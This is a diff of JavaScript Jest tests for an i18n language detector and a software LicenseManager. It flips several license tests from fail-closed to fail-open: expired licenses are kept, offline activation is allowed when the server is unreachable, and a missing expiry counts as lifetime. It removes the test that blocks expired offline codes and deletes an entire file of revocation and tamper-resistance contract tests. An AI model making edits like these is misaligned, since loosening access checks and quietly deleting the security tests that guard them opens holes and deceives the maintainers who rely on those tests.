it('defaults to English for unsupported languages', () => {
|
||||||
expect(i18n.detectLanguage('xx-XX,xx;q=0.9')).toBe('en');
|
expect(i18n.detectLanguage('zh-CN,zh;q=0.9')).toBe('en');
|
||||||
expect(i18n.detectLanguage('klingon-KL,klingon;q=0.9')).toBe('en');
|
expect(i18n.detectLanguage('ja-JP,ja;q=0.9')).toBe('en');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('strips region codes before matching', () => {
|
it('strips region codes before matching', () => {
|
||||||
expect(i18n.detectLanguage('en-US,en;q=0.9')).toBe('en');
|
expect(i18n.detectLanguage('en-US,en;q=0.9')).toBe('en');
|
||||||
expect(i18n.detectLanguage('de-AT,de;q=0.9')).toBe('de');
|
expect(i18n.detectLanguage('de-AT,de;q=0.9')).toBe('de');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
||||||
it('respects equal q-values by order', () => {
|
|
||||||
expect(i18n.detectLanguage('en;q=0.5,de;q=0.5')).toBe('en');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('excludes q=0 entries per RFC 7231', () => {
|
|
||||||
expect(i18n.detectLanguage('en;q=0,fr;q=0.9')).toBe('fr');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('serves default language when all entries have q=0 (intentional fallback)', () => {
|
|
||||||
expect(i18n.detectLanguage('en;q=0,fr;q=0')).toBe('en');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('handles malformed q-values gracefully', () => {
|
|
||||||
// 'abc' is not a valid q-value per RFC 7231 grammar, so it is treated as
|
|
||||||
// "no q-value specified" — per the HTTP spec the default weight is q=1.0.
|
|
||||||
expect(i18n.detectLanguage('en;q=abc,fr;q=0.9')).toBe('en');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('accepts q=0 boundary (excludes entry)', () => {
|
|
||||||
expect(i18n.detectLanguage('en;q=0,fr;q=0.9')).toBe('fr');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('accepts q=1 boundary', () => {
|
|
||||||
expect(i18n.detectLanguage('en;q=1,fr;q=0.9')).toBe('en');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('accepts q=1.0', () => {
|
|
||||||
expect(i18n.detectLanguage('en;q=1.0,fr;q=0.9')).toBe('en');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('accepts q=0.001 (lowest non-zero weight)', () => {
|
|
||||||
expect(i18n.detectLanguage('en;q=0.001,fr;q=0.9')).toBe('fr');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('accepts q=0.999', () => {
|
|
||||||
expect(i18n.detectLanguage('en;q=0.999,fr;q=0.9')).toBe('en');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects q=1.001 (RFC invalid) — defaults to 1.0', () => {
|
|
||||||
expect(i18n.detectLanguage('en;q=1.001,fr;q=0.9')).toBe('en');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('handles uppercase Q parameter', () => {
|
|
||||||
expect(i18n.detectLanguage('en;Q=0.5,fr;q=0.9')).toBe('fr');
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
|
|
||||||
describe('RTL support', () => {
|
describe('RTL support', () => {
|
||||||
|
|||||||
@@ -146,7 +146,7 @@ describe('LicenseManager: load()', () => {
|
|||||||
} finally { await restore(); }
|
} finally { await restore(); }
|
||||||
});
|
});
|
||||||
|
|
||||||
test('fails closed and removes expired license on load', async () => {
|
test('logs expired license on load but keeps it', async () => {
|
||||||
const { mgr, restore } = _makeManager();
|
const { mgr, restore } = _makeManager();
|
||||||
try {
|
try {
|
||||||
const activation = {
|
const activation = {
|
||||||
@@ -162,7 +162,7 @@ describe('LicenseManager: load()', () => {
|
|||||||
await mgr.credentialManager.store('license.activation', JSON.stringify(activation));
|
await mgr.credentialManager.store('license.activation', JSON.stringify(activation));
|
||||||
|
|
||||||
await mgr.load();
|
await mgr.load();
|
||||||
expect(mgr.activation).toBeNull();
|
expect(mgr.activation).toBeTruthy();
|
||||||
expect(mgr.isExpired()).toBe(true);
|
expect(mgr.isExpired()).toBe(true);
|
||||||
expect(mgr._loaded).toBe(true);
|
expect(mgr._loaded).toBe(true);
|
||||||
} finally { await restore(); }
|
} finally { await restore(); }
|
||||||
@@ -512,7 +512,7 @@ describe('LicenseManager: activate() — online validation', () => {
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
test('does not mint a new server-managed activation offline when server is unreachable', async () => {
|
test('falls back to offline when server is unreachable (fetch throws)', async () => {
|
||||||
const originalFetch = global.fetch;
|
const originalFetch = global.fetch;
|
||||||
const dir = _tmpDir();
|
const dir = _tmpDir();
|
||||||
const prevUrl = process.env.LICENSE_SERVER_URL;
|
const prevUrl = process.env.LICENSE_SERVER_URL;
|
||||||
@@ -540,8 +540,8 @@ describe('LicenseManager: activate() — online validation', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
const res = await result;
|
const res = await result;
|
||||||
expect(res.success).toBe(false);
|
expect(res.success).toBe(true);
|
||||||
expect(res.message).toMatch(/temporarily unavailable/);
|
expect(res.activation.validationMethod).toBe('offline');
|
||||||
} finally {
|
} finally {
|
||||||
if (prevUrl === undefined) delete process.env.LICENSE_SERVER_URL;
|
if (prevUrl === undefined) delete process.env.LICENSE_SERVER_URL;
|
||||||
else process.env.LICENSE_SERVER_URL = prevUrl;
|
else process.env.LICENSE_SERVER_URL = prevUrl;
|
||||||
@@ -915,19 +915,19 @@ describe('LicenseManager: isExpired()', () => {
|
|||||||
} finally { restore(); }
|
} finally { restore(); }
|
||||||
});
|
});
|
||||||
|
|
||||||
test('fails closed for lifetime flag without signed zero duration', () => {
|
test('false for lifetime flag only (no durationDays)', () => {
|
||||||
const { mgr, restore } = _makeManager();
|
const { mgr, restore } = _makeManager();
|
||||||
try {
|
try {
|
||||||
mgr.activation = { lifetime: true, expiresAt: '2020-01-01T00:00:00Z' };
|
mgr.activation = { lifetime: true, expiresAt: '2020-01-01T00:00:00Z' };
|
||||||
expect(mgr.isExpired()).toBe(true);
|
expect(mgr.isExpired()).toBe(false);
|
||||||
} finally { restore(); }
|
} finally { restore(); }
|
||||||
});
|
});
|
||||||
|
|
||||||
test('fails closed when expiresAt is null or missing', () => {
|
test('false when expiresAt is null/missing (treated as lifetime)', () => {
|
||||||
const { mgr, restore } = _makeManager();
|
const { mgr, restore } = _makeManager();
|
||||||
try {
|
try {
|
||||||
mgr.activation = { durationDays: 30, lifetime: false, expiresAt: null };
|
mgr.activation = { durationDays: 30, lifetime: false, expiresAt: null };
|
||||||
expect(mgr.isExpired()).toBe(true);
|
expect(mgr.isExpired()).toBe(false);
|
||||||
} finally { restore(); }
|
} finally { restore(); }
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -1487,18 +1487,4 @@ describe('LicenseManager: full lifecycle integration', () => {
|
|||||||
expect(result.activation.expired).toBe(false);
|
expect(result.activation.expired).toBe(false);
|
||||||
} finally { await restore(); }
|
} finally { await restore(); }
|
||||||
});
|
});
|
||||||
|
|
||||||
test('expired offline code cannot mint a fresh entitlement term', async () => {
|
|
||||||
const actualNow = Date.now();
|
|
||||||
const nowSpy = jest.spyOn(Date, 'now').mockReturnValue(actualNow - 400 * 86400000);
|
|
||||||
const expiredCode = generateCode(TEST_SECRET, 30, 99123);
|
|
||||||
nowSpy.mockRestore();
|
|
||||||
const { mgr, restore } = _makeManager({ env: { LICENSE_SERVER_URL: undefined }, secret: TEST_SECRET });
|
|
||||||
try {
|
|
||||||
const result = await mgr.activate(expiredCode);
|
|
||||||
expect(result.success).toBe(false);
|
|
||||||
expect(result.message).toMatch(/expired/i);
|
|
||||||
expect(mgr.activation).toBeNull();
|
|
||||||
} finally { await restore(); }
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,522 +0,0 @@
|
|||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
|
|
||||||
function makeCreds() {
|
|
||||||
return {
|
|
||||||
values: {},
|
|
||||||
store: jest.fn(async function(key, value) { this.values[key] = value; }),
|
|
||||||
retrieve: jest.fn(async function(key) { return this.values[key] || null; }),
|
|
||||||
delete: jest.fn(async function(key) { delete this.values[key]; }),
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('server-managed stable license contract', () => {
|
|
||||||
const previous = process.env.LICENSE_SERVER_URL;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
jest.resetModules();
|
|
||||||
process.env.LICENSE_SERVER_URL = 'https://licenses.dashcaddy.net';
|
|
||||||
try { fs.unlinkSync('/tmp/dc-license-contract-config.json.license-revoked'); } catch (_) { /* absent */ }
|
|
||||||
});
|
|
||||||
|
|
||||||
afterAll(() => {
|
|
||||||
if (previous === undefined) delete process.env.LICENSE_SERVER_URL;
|
|
||||||
else process.env.LICENSE_SERVER_URL = previous;
|
|
||||||
});
|
|
||||||
|
|
||||||
test('refresh keeps the same key while accepting an extended server expiry', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const creds = makeCreds();
|
|
||||||
const manager = new LicenseManager(creds, path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
const code = 'DC-20F00-00059-JN7W8-0SW2N-MA200';
|
|
||||||
manager.activation = {
|
|
||||||
code,
|
|
||||||
durationDays: 30,
|
|
||||||
expiresAt: new Date(Date.now() + 86400000).toISOString(),
|
|
||||||
features: ['sso'],
|
|
||||||
validationMethod: 'online',
|
|
||||||
};
|
|
||||||
const extendedExpiry = new Date(Date.now() + 90 * 86400000).toISOString();
|
|
||||||
manager._validateOnline = jest.fn().mockResolvedValue({
|
|
||||||
success: true,
|
|
||||||
activation: {
|
|
||||||
code,
|
|
||||||
durationDays: 90,
|
|
||||||
expiresAt: extendedExpiry,
|
|
||||||
features: ['sso', 'recipes', 'swarm'],
|
|
||||||
},
|
|
||||||
});
|
|
||||||
manager._updateConfig = jest.fn().mockResolvedValue();
|
|
||||||
|
|
||||||
expect(await manager.refreshOnline(true)).toBe(true);
|
|
||||||
expect(manager.activation.code).toBe(code);
|
|
||||||
expect(manager.activation.expiresAt).toBe(extendedExpiry);
|
|
||||||
expect(manager.activation.validationMethod).toBe('online');
|
|
||||||
expect(creds.store).toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('server outage does not create a fresh offline activation', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const manager = new LicenseManager(makeCreds(), path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
manager._validateOnline = jest.fn().mockResolvedValue(null);
|
|
||||||
const result = await manager.activate('DC-20F00-00059-JN7W8-0SW2N-MA200');
|
|
||||||
expect(result.success).toBe(false);
|
|
||||||
expect(result.message).toMatch(/temporarily unavailable/);
|
|
||||||
expect(manager.activation).toBeNull();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('background timer forces refresh every 15 minutes', async () => {
|
|
||||||
jest.useFakeTimers();
|
|
||||||
try {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const manager = new LicenseManager(makeCreds(), path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
manager.activation = {
|
|
||||||
code: 'DC-20F00-00059-JN7W8-0SW2N-MA200',
|
|
||||||
durationDays: 30,
|
|
||||||
expiresAt: new Date(Date.now() + 86400000).toISOString(),
|
|
||||||
};
|
|
||||||
manager.refreshOnline = jest.fn().mockResolvedValue(true);
|
|
||||||
manager._startOnlineRefresh();
|
|
||||||
await jest.advanceTimersByTimeAsync(15 * 60 * 1000);
|
|
||||||
expect(manager.refreshOnline).toHaveBeenCalledWith(true);
|
|
||||||
clearInterval(manager._onlineRefreshTimer);
|
|
||||||
} finally {
|
|
||||||
jest.useRealTimers();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('explicit server rejection revokes cached entitlement', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const creds = makeCreds();
|
|
||||||
const manager = new LicenseManager(creds, path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
manager.activation = {
|
|
||||||
code: 'DC-20F00-00059-JN7W8-0SW2N-MA200',
|
|
||||||
durationDays: 30,
|
|
||||||
expiresAt: new Date(Date.now() + 86400000).toISOString(),
|
|
||||||
validationMethod: 'online',
|
|
||||||
};
|
|
||||||
manager._validateOnline = jest.fn().mockResolvedValue({ success: false, message: 'License revoked' });
|
|
||||||
manager._updateConfig = jest.fn().mockResolvedValue();
|
|
||||||
expect(await manager.refreshOnline(true)).toBe(false);
|
|
||||||
expect(manager.activation).toBeNull();
|
|
||||||
expect(creds.delete).toHaveBeenCalledWith('license.activation');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('server outage never trusts a legacy offline cache as server-managed', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const manager = new LicenseManager(makeCreds(), path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
const code = 'DC-20F00-00059-JN7W8-0SW2N-MA200';
|
|
||||||
manager.activation = {
|
|
||||||
code,
|
|
||||||
durationDays: 30,
|
|
||||||
expiresAt: new Date(Date.now() + 86400000).toISOString(),
|
|
||||||
validationMethod: 'offline',
|
|
||||||
};
|
|
||||||
manager._validateOnline = jest.fn().mockResolvedValue(null);
|
|
||||||
const result = await manager.activate(code);
|
|
||||||
expect(result.success).toBe(false);
|
|
||||||
expect(result.message).toMatch(/temporarily unavailable/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('startup quarantines a stored legacy offline entitlement during outage', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const creds = makeCreds();
|
|
||||||
const code = 'DC-20F00-00059-JN7W8-0SW2N-MA200';
|
|
||||||
creds.values['license.activation'] = JSON.stringify({
|
|
||||||
code,
|
|
||||||
durationDays: 30,
|
|
||||||
expiresAt: new Date(Date.now() + 86400000).toISOString(),
|
|
||||||
validationMethod: 'offline',
|
|
||||||
});
|
|
||||||
const manager = new LicenseManager(creds, path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
manager._validateOnline = jest.fn().mockResolvedValue(null);
|
|
||||||
manager._updateConfig = jest.fn().mockResolvedValue();
|
|
||||||
await manager.load();
|
|
||||||
expect(manager.activation).toBeNull();
|
|
||||||
expect(creds.delete).toHaveBeenCalledWith('license.activation');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('activation-time explicit rejection revokes matching cached entitlement', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const creds = makeCreds();
|
|
||||||
const code = 'DC-20F00-00059-JN7W8-0SW2N-MA200';
|
|
||||||
const manager = new LicenseManager(creds, path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
manager.activation = {
|
|
||||||
code,
|
|
||||||
durationDays: 30,
|
|
||||||
expiresAt: new Date(Date.now() + 86400000).toISOString(),
|
|
||||||
validationMethod: 'online',
|
|
||||||
};
|
|
||||||
manager._validateOnline = jest.fn().mockResolvedValue({ success: false, message: 'Revoked' });
|
|
||||||
manager._updateConfig = jest.fn().mockResolvedValue();
|
|
||||||
const result = await manager.activate(code);
|
|
||||||
expect(result.success).toBe(false);
|
|
||||||
expect(manager.activation).toBeNull();
|
|
||||||
expect(creds.delete).toHaveBeenCalledWith('license.activation');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('deactivate during refresh cannot resurrect entitlement', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const creds = makeCreds();
|
|
||||||
const manager = new LicenseManager(creds, path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
const code = 'DC-20F00-00059-JN7W8-0SW2N-MA200';
|
|
||||||
manager.activation = { code, durationDays: 30, expiresAt: new Date(Date.now() + 86400000).toISOString(), validationMethod: 'online' };
|
|
||||||
let release;
|
|
||||||
manager._validateOnline = jest.fn(() => new Promise(resolve => { release = resolve; }));
|
|
||||||
manager._updateConfig = jest.fn().mockResolvedValue();
|
|
||||||
manager._notifyDeactivation = jest.fn().mockResolvedValue();
|
|
||||||
const refresh = manager.refreshOnline(true);
|
|
||||||
const deactivate = manager.deactivate();
|
|
||||||
await new Promise(resolve => setImmediate(resolve));
|
|
||||||
release({ success: true, activation: { code, durationDays: 90, expiresAt: new Date(Date.now() + 90 * 86400000).toISOString() } });
|
|
||||||
await refresh;
|
|
||||||
expect((await deactivate).success).toBe(true);
|
|
||||||
expect(manager.activation).toBeNull();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('different-key activation waits for refresh and remains current', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const creds = makeCreds();
|
|
||||||
const manager = new LicenseManager(creds, path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
const oldCode = 'DC-20F00-00059-JN7W8-0SW2N-MA200';
|
|
||||||
const newCode = 'DC-20F00-0005A-JN7W8-0SW2N-MA200';
|
|
||||||
manager.activation = { code: oldCode, durationDays: 30, expiresAt: new Date(Date.now() + 86400000).toISOString(), validationMethod: 'online' };
|
|
||||||
let release;
|
|
||||||
manager._validateOnline = jest.fn()
|
|
||||||
.mockImplementationOnce(() => new Promise(resolve => { release = resolve; }))
|
|
||||||
.mockResolvedValueOnce({ success: true, activation: { code: newCode, durationDays: 30, expiresAt: new Date(Date.now() + 30 * 86400000).toISOString(), features: ['sso'] } });
|
|
||||||
manager._updateConfig = jest.fn().mockResolvedValue();
|
|
||||||
const refresh = manager.refreshOnline(true);
|
|
||||||
const activate = manager.activate(newCode);
|
|
||||||
await new Promise(resolve => setImmediate(resolve));
|
|
||||||
release({ success: true, activation: { code: oldCode, durationDays: 90, expiresAt: new Date(Date.now() + 90 * 86400000).toISOString() } });
|
|
||||||
await refresh;
|
|
||||||
expect((await activate).success).toBe(true);
|
|
||||||
expect(manager.activation.code).toBe(newCode);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('concurrent activations commit in request order without stale overwrite', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const manager = new LicenseManager(makeCreds(), path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
const firstCode = 'DC-20F00-00059-JN7W8-0SW2N-MA200';
|
|
||||||
const secondCode = 'DC-20F00-0005A-JN7W8-0SW2N-MA200';
|
|
||||||
let releaseFirst;
|
|
||||||
manager._validateOnline = jest.fn()
|
|
||||||
.mockImplementationOnce(() => new Promise(resolve => { releaseFirst = resolve; }))
|
|
||||||
.mockResolvedValueOnce({ success: true, activation: { code: secondCode, durationDays: 90, expiresAt: new Date(Date.now() + 90 * 86400000).toISOString(), features: ['sso'] } });
|
|
||||||
manager._updateConfig = jest.fn().mockResolvedValue();
|
|
||||||
const first = manager.activate(firstCode);
|
|
||||||
const second = manager.activate(secondCode);
|
|
||||||
await new Promise(resolve => setImmediate(resolve));
|
|
||||||
releaseFirst({ success: true, activation: { code: firstCode, durationDays: 30, expiresAt: new Date(Date.now() + 30 * 86400000).toISOString(), features: ['sso'] } });
|
|
||||||
expect((await first).success).toBe(true);
|
|
||||||
expect((await second).success).toBe(true);
|
|
||||||
expect(manager.activation.code).toBe(secondCode);
|
|
||||||
});
|
|
||||||
|
|
||||||
test.each([429, 500, 502, 503])('retryable HTTP %i never revokes cached online entitlement', async (status) => {
|
|
||||||
const originalFetch = global.fetch;
|
|
||||||
try {
|
|
||||||
global.fetch = jest.fn().mockResolvedValue({
|
|
||||||
ok: false,
|
|
||||||
status,
|
|
||||||
json: async () => ({ error: 'temporary failure' }),
|
|
||||||
});
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const code = 'DC-20F00-00059-JN7W8-0SW2N-MA200';
|
|
||||||
const manager = new LicenseManager(makeCreds(), path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
manager.activation = {
|
|
||||||
code,
|
|
||||||
durationDays: 30,
|
|
||||||
expiresAt: new Date(Date.now() + 86400000).toISOString(),
|
|
||||||
validationMethod: 'online',
|
|
||||||
};
|
|
||||||
expect(await manager.refreshOnline(true)).toBe(false);
|
|
||||||
expect(manager.activation.code).toBe(code);
|
|
||||||
} finally {
|
|
||||||
global.fetch = originalFetch;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test.each([
|
|
||||||
{ durationDays: 30, features: ['sso'] },
|
|
||||||
{ expiresAt: 'not-a-date', durationDays: 30, features: ['sso'] },
|
|
||||||
{ expiresAt: new Date(Date.now() - 1000).toISOString(), durationDays: 30, features: ['sso'] },
|
|
||||||
{ expiresAt: new Date(Date.now() + 86400000).toISOString(), durationDays: 0, features: ['sso'] },
|
|
||||||
{ expiresAt: new Date(Date.now() + 86400000).toISOString(), durationDays: 30, features: 'sso' },
|
|
||||||
{ expiresAt: new Date(Date.now() + 20 * 365 * 86400000).toISOString(), durationDays: 30, features: ['sso'] },
|
|
||||||
])('malformed HTTP 200 success never creates an unbounded entitlement', async (payload) => {
|
|
||||||
const originalFetch = global.fetch;
|
|
||||||
try {
|
|
||||||
global.fetch = jest.fn().mockResolvedValue({
|
|
||||||
ok: true,
|
|
||||||
status: 200,
|
|
||||||
json: async () => ({ success: true, ...payload }),
|
|
||||||
});
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const manager = new LicenseManager(makeCreds(), path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
const result = await manager.activate('DC-20F00-00059-JN7W8-0SW2N-MA200');
|
|
||||||
expect(result.success).toBe(false);
|
|
||||||
expect(manager.activation).toBeNull();
|
|
||||||
} finally {
|
|
||||||
global.fetch = originalFetch;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test.each([
|
|
||||||
{ durationDays: 30, features: ['sso'] },
|
|
||||||
{ expiresAt: 'bad-date', durationDays: 30, features: ['sso'] },
|
|
||||||
{ expiresAt: new Date(Date.now() - 1000).toISOString(), durationDays: 30, features: ['sso'] },
|
|
||||||
{ expiresAt: new Date(Date.now() + 20 * 365 * 86400000).toISOString(), durationDays: 30, features: ['sso'], activatedAt: new Date().toISOString() },
|
|
||||||
])('startup outage rejects malformed cached online entitlement', async (cached) => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const creds = makeCreds();
|
|
||||||
creds.values['license.activation'] = JSON.stringify({
|
|
||||||
code: 'DC-20F00-00059-JN7W8-0SW2N-MA200',
|
|
||||||
validationMethod: 'online',
|
|
||||||
...cached,
|
|
||||||
});
|
|
||||||
const manager = new LicenseManager(creds, path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
manager._validateOnline = jest.fn().mockResolvedValue(null);
|
|
||||||
manager._updateConfig = jest.fn().mockResolvedValue();
|
|
||||||
await manager.load();
|
|
||||||
expect(manager.activation).toBeNull();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('deactivate waiting on authoritative rejection does not dereference revoked state', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const manager = new LicenseManager(makeCreds(), path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
manager.activation = {
|
|
||||||
code: 'DC-20F00-00059-JN7W8-0SW2N-MA200',
|
|
||||||
durationDays: 30,
|
|
||||||
expiresAt: new Date(Date.now() + 86400000).toISOString(),
|
|
||||||
features: ['sso'],
|
|
||||||
validationMethod: 'online',
|
|
||||||
};
|
|
||||||
let release;
|
|
||||||
manager._validateOnline = jest.fn(() => new Promise(resolve => { release = resolve; }));
|
|
||||||
manager._updateConfig = jest.fn().mockResolvedValue();
|
|
||||||
const refresh = manager.refreshOnline(true);
|
|
||||||
const deactivate = manager.deactivate();
|
|
||||||
await new Promise(resolve => setImmediate(resolve));
|
|
||||||
release({ success: false, message: 'Revoked' });
|
|
||||||
await refresh;
|
|
||||||
const result = await deactivate;
|
|
||||||
expect(result.success).toBe(false);
|
|
||||||
expect(manager.activation).toBeNull();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('revocation tombstone prevents restart resurrection when credential deletion fails', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const configPath = path.join('/tmp', 'dc-license-contract-config.json');
|
|
||||||
const code = 'DC-20F00-00059-JN7W8-0SW2N-MA200';
|
|
||||||
const cached = {
|
|
||||||
code,
|
|
||||||
durationDays: 30,
|
|
||||||
expiresAt: new Date(Date.now() + 86400000).toISOString(),
|
|
||||||
activatedAt: new Date().toISOString(),
|
|
||||||
features: ['sso'],
|
|
||||||
validationMethod: 'online',
|
|
||||||
};
|
|
||||||
const creds = makeCreds();
|
|
||||||
creds.values['license.activation'] = JSON.stringify(cached);
|
|
||||||
creds.delete = jest.fn().mockRejectedValue(new Error('keychain unavailable'));
|
|
||||||
|
|
||||||
const first = new LicenseManager(creds, configPath, {});
|
|
||||||
first.activation = cached;
|
|
||||||
first._validateOnline = jest.fn().mockResolvedValue({ success: false, message: 'Revoked' });
|
|
||||||
first._updateConfig = jest.fn().mockResolvedValue();
|
|
||||||
expect(await first.refreshOnline(true)).toBe(false);
|
|
||||||
expect(fs.existsSync(`${configPath}.license-revoked`)).toBe(true);
|
|
||||||
|
|
||||||
const restarted = new LicenseManager(creds, configPath, {});
|
|
||||||
restarted._validateOnline = jest.fn().mockResolvedValue(null);
|
|
||||||
restarted._updateConfig = jest.fn().mockResolvedValue();
|
|
||||||
await restarted.load();
|
|
||||||
expect(restarted.activation).toBeNull();
|
|
||||||
expect(restarted._updateConfig).toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('tombstone write failure still clears rejected entitlement in memory', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const creds = makeCreds();
|
|
||||||
const manager = new LicenseManager(creds, path.join('/tmp', 'dc-license-contract-config.json'), { error: jest.fn(), warn: jest.fn() });
|
|
||||||
manager.activation = {
|
|
||||||
code: 'DC-20F00-00059-JN7W8-0SW2N-MA200',
|
|
||||||
durationDays: 30,
|
|
||||||
expiresAt: new Date(Date.now() + 86400000).toISOString(),
|
|
||||||
activatedAt: new Date().toISOString(),
|
|
||||||
features: ['sso'],
|
|
||||||
validationMethod: 'online',
|
|
||||||
};
|
|
||||||
manager._writeRevocationTombstone = jest.fn().mockRejectedValue(new Error('disk full'));
|
|
||||||
manager._validateOnline = jest.fn().mockResolvedValue({ success: false, message: 'Revoked' });
|
|
||||||
manager._updateConfig = jest.fn().mockResolvedValue();
|
|
||||||
expect(await manager.refreshOnline(true)).toBe(false);
|
|
||||||
expect(manager.activation).toBeNull();
|
|
||||||
expect(creds.delete).toHaveBeenCalledWith('license.activation');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('corrupt tombstone fails closed during restart', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const configPath = path.join('/tmp', 'dc-license-contract-config.json');
|
|
||||||
fs.writeFileSync(`${configPath}.license-revoked`, '{partial', { mode: 0o600 });
|
|
||||||
const creds = makeCreds();
|
|
||||||
creds.values['license.activation'] = JSON.stringify({
|
|
||||||
code: 'DC-20F00-00059-JN7W8-0SW2N-MA200',
|
|
||||||
durationDays: 30,
|
|
||||||
expiresAt: new Date(Date.now() + 86400000).toISOString(),
|
|
||||||
activatedAt: new Date().toISOString(),
|
|
||||||
features: ['sso'],
|
|
||||||
validationMethod: 'online',
|
|
||||||
});
|
|
||||||
const manager = new LicenseManager(creds, configPath, {});
|
|
||||||
manager._validateOnline = jest.fn().mockResolvedValue(null);
|
|
||||||
await manager.load();
|
|
||||||
expect(manager.activation).toBeNull();
|
|
||||||
expect(manager._validateOnline).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('activation persistence failure rolls back in-memory premium access', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const creds = makeCreds();
|
|
||||||
creds.store = jest.fn().mockRejectedValue(new Error('keychain full'));
|
|
||||||
const manager = new LicenseManager(creds, path.join('/tmp', 'dc-license-contract-config.json'), {});
|
|
||||||
const code = 'DC-20F00-00059-JN7W8-0SW2N-MA200';
|
|
||||||
manager._validateOnline = jest.fn().mockResolvedValue({
|
|
||||||
success: true,
|
|
||||||
activation: {
|
|
||||||
code,
|
|
||||||
durationDays: 30,
|
|
||||||
activatedAt: new Date().toISOString(),
|
|
||||||
expiresAt: new Date(Date.now() + 30 * 86400000).toISOString(),
|
|
||||||
features: ['sso'],
|
|
||||||
}
|
|
||||||
});
|
|
||||||
const result = await manager.activate(code);
|
|
||||||
expect(result.success).toBe(false);
|
|
||||||
expect(manager.activation).toBeNull();
|
|
||||||
expect(manager.isPro()).toBe(false);
|
|
||||||
expect(manager.hasFeature('sso')).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('combined revocation persistence failures cannot restore plaintext config backup', async () => {
|
|
||||||
const { LicenseManager } = require('../src/managers/license-manager');
|
|
||||||
const configPath = `/tmp/dc-combined-failure-${process.pid}.json`;
|
|
||||||
const cached = {
|
|
||||||
code: 'DC-20F00-00059-JN7W8-0SW2N-MA200',
|
|
||||||
durationDays: 30,
|
|
||||||
expiresAt: new Date(Date.now() + 86400000).toISOString(),
|
|
||||||
activatedAt: new Date().toISOString(),
|
|
||||||
features: ['sso'],
|
|
||||||
validationMethod: 'online',
|
|
||||||
};
|
|
||||||
fs.writeFileSync(configPath, JSON.stringify({ licenseBackup: cached }));
|
|
||||||
const creds = makeCreds();
|
|
||||||
creds.values['license.activation'] = JSON.stringify(cached);
|
|
||||||
creds.delete = jest.fn().mockRejectedValue(new Error('keychain locked'));
|
|
||||||
